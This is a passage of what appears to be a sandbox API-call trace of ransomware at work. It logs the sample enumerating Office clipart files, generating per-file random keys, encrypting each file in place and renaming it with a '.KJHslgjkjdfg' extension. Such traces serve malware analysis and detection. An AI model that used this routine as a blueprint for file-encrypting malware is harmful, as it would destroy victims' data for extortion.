nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.229] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.229] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.229] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.229] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.229] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.229] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.229] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.229] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7dc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7dc, lpOverlapped=0x0) returned 1 [0192.230] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e0) returned 1 [0192.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.230] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7e0, lpOverlapped=0x0) returned 1 [0192.230] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.230] SetEndOfFile (hFile=0x114) returned 1 [0192.233] GetProcessHeap () returned 0x2a0000 [0192.233] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.233] GetProcessHeap () returned 0x2a0000 [0192.233] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf.kjhslgjkjdfg")) returned 1 [0192.235] CloseHandle (hObject=0x114) returned 1 [0192.235] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00411_.WMF", cAlternateFileName="")) returned 1 [0192.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.236] GetProcessHeap () returned 0x2a0000 [0192.236] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.236] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.236] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.236] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0192.240] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.240] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.240] GetProcessHeap () returned 0x2a0000 [0192.240] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.240] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.240] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.240] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.240] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.240] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.240] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.241] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.241] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.241] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.241] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf72, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf72, lpOverlapped=0x0) returned 1 [0192.241] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf80, dwBufLen=0xf80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf80) returned 1 [0192.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.241] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf80, lpOverlapped=0x0) returned 1 [0192.241] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.241] SetEndOfFile (hFile=0x114) returned 1 [0192.244] GetProcessHeap () returned 0x2a0000 [0192.244] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.244] GetProcessHeap () returned 0x2a0000 [0192.244] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf.kjhslgjkjdfg")) returned 1 [0192.246] CloseHandle (hObject=0x114) returned 1 [0192.246] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9e8900, ftCreationTime.dwHighDateTime=0x1bd4bd7, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e9e8900, ftLastWriteTime.dwHighDateTime=0x1bd4bd7, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00687_.WMF", cAlternateFileName="")) returned 1 [0192.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.251] GetProcessHeap () returned 0x2a0000 [0192.251] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.252] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.252] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.252] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0192.254] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.254] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.254] GetProcessHeap () returned 0x2a0000 [0192.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.254] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.254] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.254] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.255] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.255] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.255] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.255] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.255] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.255] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.255] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.255] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.255] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9d2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9d2, lpOverlapped=0x0) returned 1 [0192.255] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9e0) returned 1 [0192.255] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.255] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9e0, lpOverlapped=0x0) returned 1 [0192.255] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.256] SetEndOfFile (hFile=0x114) returned 1 [0192.258] GetProcessHeap () returned 0x2a0000 [0192.258] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.258] GetProcessHeap () returned 0x2a0000 [0192.258] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf.kjhslgjkjdfg")) returned 1 [0192.261] CloseHandle (hObject=0x114) returned 1 [0192.261] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723f700, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd723f700, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN01164_.WMF", cAlternateFileName="")) returned 1 [0192.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.262] GetProcessHeap () returned 0x2a0000 [0192.262] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.262] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.262] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.263] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0192.265] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.265] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.265] GetProcessHeap () returned 0x2a0000 [0192.265] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.265] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.265] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.265] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.265] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.265] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.265] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.267] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.267] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.267] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.267] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x236, lpOverlapped=0x0) returned 1 [0192.267] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x240, dwBufLen=0x240 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x240) returned 1 [0192.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.267] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x240, lpOverlapped=0x0) returned 1 [0192.268] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.268] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.268] SetEndOfFile (hFile=0x114) returned 1 [0192.270] GetProcessHeap () returned 0x2a0000 [0192.270] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.270] GetProcessHeap () returned 0x2a0000 [0192.270] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf.kjhslgjkjdfg")) returned 1 [0192.272] CloseHandle (hObject=0x114) returned 1 [0192.272] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fba7700, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6fba7700, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN01165_.WMF", cAlternateFileName="")) returned 1 [0192.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.274] GetProcessHeap () returned 0x2a0000 [0192.274] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.274] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.274] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.274] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0192.276] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.276] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.276] GetProcessHeap () returned 0x2a0000 [0192.276] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.276] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.276] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.276] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.277] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.277] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.277] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.277] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.277] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.277] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.277] SetFilePointerEx (in: 